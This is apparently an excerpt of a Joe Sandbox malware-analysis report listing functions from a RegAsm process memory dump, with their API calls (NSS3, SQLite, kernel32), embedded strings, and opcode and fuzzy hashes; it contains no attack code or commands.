API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 6b82d97f58824b13e9263ca6f826504d77a8f31445698e838328133e79c74355
Instruction ID: 75f45f1bcae767287df9b4c83bcc5a3e2446c9ba36b50ba5c7b72f23386b4002
Opcode Fuzzy Hash: 6b82d97f58824b13e9263ca6f826504d77a8f31445698e838328133e79c74355
Instruction Fuzzy Hash: A8513A72B016494BC718CDADDC52ADABBDAABA4310F48C23AE441DBB85D638D906C751

Function 6C4E0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C4E1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4E10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E1353

Strings

%02x, xrefs: 6C4E12F6
-- , xrefs: 6C4E0FF5
'%.*q', xrefs: 6C4E1217, 6C4E1292
NULL, xrefs: 6C4E119E
zeroblob(%d), xrefs: 6C4E1223
$, xrefs: 6C4E12A0
%lld, xrefs: 6C4E114B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: c003c6b75b1d6659a0f1d98c655db7a75a23a1ef43b0f8adc5c6413d4dc5d719
Instruction ID: 64e52ccb319347878083eae13ca2e9827c8b66340839f1dfa1c540ca78747b48
Opcode Fuzzy Hash: c003c6b75b1d6659a0f1d98c655db7a75a23a1ef43b0f8adc5c6413d4dc5d719
Instruction Fuzzy Hash: 79E1AF71A483809FD705CF14C880E6BBBF1AF8934AF06892DE9D587B52D771E845CB82

Function 6C4E8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4E8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4E90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4E9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4E915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4E91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4E9209

Strings

3333, xrefs: 6C4E925E
UUUU, xrefs: 6C4E9255

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: baf8c142f09d61aeb976e07b43c092a631c9748504f660bd53511a5a9ceca49f
Instruction ID: f6e5687d618ca6004cd9d1b7c354416b116a7c8660fa4976d0fad0490b09167c
Opcode Fuzzy Hash: baf8c142f09d61aeb976e07b43c092a631c9748504f660bd53511a5a9ceca49f
Instruction Fuzzy Hash: 6DA19F72E001259BDB04CB69CC90FEEB7B5BF8C325F0A4169D915A7391E736AC41CBA1

Function 6C528D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C5714E4,6C4DCC70), ref: 6C528D47
PR_GetCurrentThread.NSS3 ref: 6C528D98

Part of subcall function 6C400F00: PR_GetPageSize.NSS3(6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F1B
Part of subcall function 6C400F00: PR_NewLogModule.NSS3(clock,6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C528E7B
htons.WSOCK32(?), ref: 6C528EDB
PR_GetCurrentThread.NSS3 ref: 6C528F99
PR_GetCurrentThread.NSS3 ref: 6C52910A

Strings

%u.%u.%u.%u, xrefs: 6C528E74

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: d66522f61208be59ff124abd725bf27285367a5b61bc469049e98a3a900796a4
Instruction ID: 9c2728362bcd38c882fb307a67eec24b97fdc03e46754e556d9fdddc66a479e3
Opcode Fuzzy Hash: d66522f61208be59ff124abd725bf27285367a5b61bc469049e98a3a900796a4
Instruction Fuzzy Hash: D80279329052558FDB18CF1ACC6876ABBE2EF82304F19825ED8915BBD1C339E949C791

Function 6C4A68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C4A68FC
PR_EnterMonitor.NSS3 ref: 6C4A6924

Part of subcall function 6C4D9090: TlsGetValue.KERNEL32 ref: 6C4D90AB
Part of subcall function 6C4D9090: TlsGetValue.KERNEL32 ref: 6C4D90C9
Part of subcall function 6C4D9090: EnterCriticalSection.KERNEL32 ref: 6C4D90E5
Part of subcall function 6C4D9090: TlsGetValue.KERNEL32 ref: 6C4D9116
Part of subcall function 6C4D9090: LeaveCriticalSection.KERNEL32 ref: 6C4D913F

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

PR_EnterMonitor.NSS3 ref: 6C4A693E
TlsGetValue.KERNEL32 ref: 6C4A6977
TlsGetValue.KERNEL32 ref: 6C4A69B8
PR_ExitMonitor.NSS3 ref: 6C4A6B1E
PR_ExitMonitor.NSS3 ref: 6C4A6B39
TlsGetValue.KERNEL32 ref: 6C4A6B62

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 36e6a2c3004e1ade19f8e546ff31682aa8d60196ab31c39cd81d64204d22daaf
Instruction ID: 00a572443cde387081f02e36d9f03e5183b8fe29cab7d23d935f16d56ee726fb
Opcode Fuzzy Hash: 36e6a2c3004e1ade19f8e546ff31682aa8d60196ab31c39cd81d64204d22daaf
Instruction Fuzzy Hash: 60915E74658120CBEB40DF6DC880D9E7FA2FBA7308B628259C844DFA1DC7759983CB95

Function 6C3AEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6C3AF95C, 6C3AF9BF, 6C3AFA5E, 6C3AFA8B
not authorized, xrefs: 6C3AF957, 6C3AF9BA
%s %T already exists, xrefs: 6C3AFAC8
table, xrefs: 6C3AF05C, 6C3AFABC, 6C3AFAC7
temporary table name must be unqualified, xrefs: 6C3AF734
view, xrefs: 6C3AF061, 6C3AF071, 6C3AFAB7
sqlite_master, xrefs: 6C3AF0AB, 6C3AF2DA, 6C3AF757, 6C3AF93E
sqlite_temp_master, xrefs: 6C3AF0A6, 6C3AF2D5
there is already an index named %s, xrefs: 6C3AF9D7

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 0fb6bdcbb163793d9c6636de27e5da534582b6ec915cee54792379e01e8159b5
Instruction ID: f3e728255c08419a07257a02ad14b1f3bacc560632642a35518bef9322ac7ed2
Opcode Fuzzy Hash: 0fb6bdcbb163793d9c6636de27e5da534582b6ec915cee54792379e01e8159b5
Instruction Fuzzy Hash: 5372BD70E042058FDB14CFA8C484BAABBF5FF49308F1481A9C8159BB52D776E866CF91

Function 6C3F0820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C3F11D2

Strings

authorizer malfunction, xrefs: 6C3F1BD2
not authorized, xrefs: 6C3F175E, 6C3F1763
@, xrefs: 6C3F0B17
rows deleted, xrefs: 6C3F17D2

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: 87dab4c2530fdb349b9a366aafd8d033a91fddef3c7a8e8a1f19fa382d71f0a2
Instruction ID: 2106c668259db6e6df92d890b3ad652fd50e23490c432239eeea79ad89ec52f4
Opcode Fuzzy Hash: 87dab4c2530fdb349b9a366aafd8d033a91fddef3c7a8e8a1f19fa382d71f0a2
Instruction Fuzzy Hash: 84D299B0E04249CFDB14CFA9C480B9DBBB6BF49308F248569D465ABB51D772E856CF80

Function 6C4BC9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6C4BCEA5

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 1509e070170d3f23693c9876201c9c5bd45fdf88d3c6759a0b5637ed18664fea
Instruction ID: 9c27eea9bb1823bbbe017c62fdfc9b8e10ba3636ff6b196c2cbf5bfcec14f728
Opcode Fuzzy Hash: 1509e070170d3f23693c9876201c9c5bd45fdf88d3c6759a0b5637ed18664fea
Instruction Fuzzy Hash: 7E718271A057018FC704DF29C880E2ABBE1FF89315F258A6EE4A9D77A0E730D955CB91

Function 6C52CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52D086
PR_Malloc.NSS3(00000001), ref: 6C52D0B9
PR_Free.NSS3(?), ref: 6C52D138

Strings

>, xrefs: 6C52CF5B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 092e6f03f460840ddd110314c5e8e123facd1867515a7080d2e3fedc24d54a9b
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9CD13772B456560BFB24887C8CA13EAB7D38B82374F684329D5619BFE6E61DD843C341

Function 6C3AAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0Rl, xrefs: 6C3AACC0, 6C3AAD22, 6C3AAD5E, 6C3AAE45
winUnlock, xrefs: 6C3AAE18
winUnlockReadLock, xrefs: 6C3AAE9F
PRl, xrefs: 6C3AADDB, 6C3AADF5, 6C3AAE6A
pRl, xrefs: 6C3AADA7

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID: 0Rl$PRl$pRl$winUnlock$winUnlockReadLock
API String ID: 0-2025300702
Opcode ID: 5b90bd7ec6cdfdd515642c1367573b8d57f09705eaae83a61262c4b87ab9278b
Instruction ID: d000634045dc11573f3a4e6ec0ddc19525d0f4726a637a059e02db7066771eb4
Opcode Fuzzy Hash: 5b90bd7ec6cdfdd515642c1367573b8d57f09705eaae83a61262c4b87ab9278b
Instruction Fuzzy Hash: 74719E71608200ABDB04CF29DC84AABBBF5FF89314F15C619F9499B221D730A986CFD5

Function 6C4CAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf56b4f68fdbb0bb6b0326e407dc527545c9f1c91630dad4a698d9ba4913a759
Instruction ID: 45b0bc65bf40f1527a5054d9e05d23a16e564c3f2234677188c1b07642083e73
Opcode Fuzzy Hash: bf56b4f68fdbb0bb6b0326e407dc527545c9f1c91630dad4a698d9ba4913a759
Instruction Fuzzy Hash: AFF10275F021218BDB05CF2ECC54FBA77B1AB4A309F164229C905DB760E7B09982CBD5

Function 6C480E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C481052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C481086

Strings

h(Hl, xrefs: 6C481062, 6C48105D, 6C480F37, 6C481081, 6C481082
h(Hl, xrefs: 6C480E55, 6C480EC4, 6C480F3A, 6C480FA7

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memcpymemset
String ID: h(Hl$h(Hl
API String ID: 1297977491-2748978112
Opcode ID: c7cd905873bdac8f1e0e36b4a841563c45c82f89e9ff1a50115b774a44398b3f
Instruction ID: 501900a5391a4901459c50a728432d3bdf2157f1561f36b8d881c1b6684bbc34
Opcode Fuzzy Hash: c7cd905873bdac8f1e0e36b4a841563c45c82f89e9ff1a50115b774a44398b3f
Instruction Fuzzy Hash: 5FA13D71B0225A9FDF08CF99C890EEEBBB6BF49314B158129E915A7700D775EC11CBA0

Function 6C3F6900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6C3F7910
not authorized, xrefs: 6C3F78EC, 6C3F78F1
sqlite\_%, xrefs: 6C3F6953
BBB, xrefs: 6C3F7207, 6C3F780B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: 62488c6334c1e9f9b48901a0b9ffd48b2cf8d807aabac9f3aa6952827a77f01a
Instruction ID: d8a6c14a89fee9bd2f9a4f57285edbd77edbd924ac16cfd79c94f99f62ee7596
Opcode Fuzzy Hash: 62488c6334c1e9f9b48901a0b9ffd48b2cf8d807aabac9f3aa6952827a77f01a
Instruction Fuzzy Hash: 93C28F74A00205DFDB14CF58C480AAEBBF2FF89308F2485ADD925AB751D736A956CF90

Function 6C3A4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

0Rl, xrefs: 6C3A4EDE, 6C3A4F82
winUnlockReadLock, xrefs: 6C3A5125
PRl, xrefs: 6C3A5019, 6C3A50FA, 6C3A5157, 6C3A51DE, 6C3A51F2, 6C3A520D, 6C3A5220, 6C3A52A2, 6C3A52B5
pRl, xrefs: 6C3A4E1C, 6C3A4E81, 6C3A4FDE, 6C3A5047, 6C3A50BB, 6C3A51A3, 6C3A526C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID: 0Rl$PRl$pRl$winUnlockReadLock
API String ID: 0-1050787738
Opcode ID: 0b4f893cb0f75b297f4c5f5c2c8783bc2512bf53b35632057482e58d7322bea6
Instruction ID: 61262dab89711d656ac233375c52b6f19633003e6c75d00f4ba7e56c081b1379
Opcode Fuzzy Hash: 0b4f893cb0f75b297f4c5f5c2c8783bc2512bf53b35632057482e58d7322bea6
Instruction Fuzzy Hash: 32E13170A09340CFDB05DF29D88466ABBF0FF89304F12961DE89997361E7709985CF96

Function 6C3A6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6C3A7049
noskipscan*, xrefs: 6C3A7067
unordered*, xrefs: 6C3A702B
*?[, xrefs: 6C3A7034, 6C3A7052, 6C3A7070

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 0eec0cd0933dc8b990de53baa66804f041ad094c560e4f4fa11c9af82254f533
Instruction ID: 3f610db20e2dab87f390d2a6e5364595ebed4866418babca4679081ed86e8cb3
Opcode Fuzzy Hash: 0eec0cd0933dc8b990de53baa66804f041ad094c560e4f4fa11c9af82254f533
Instruction Fuzzy Hash: 67716B32F101114BEB14CAADCCC03DA73A6DB86318F250239C969ABBD9D6719C678FD1

Function 6C43EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C43F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C43F0F9

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 282456ffbed36aca416d2ffa0b1503ac7246e4bb8b7e6c26e94236cb16be50fd
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 1791C275A0122A8BDB14CF69C890EAEB7F1FF89324F14462DD926A7BC0D334A905CB50

Function 6C462F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

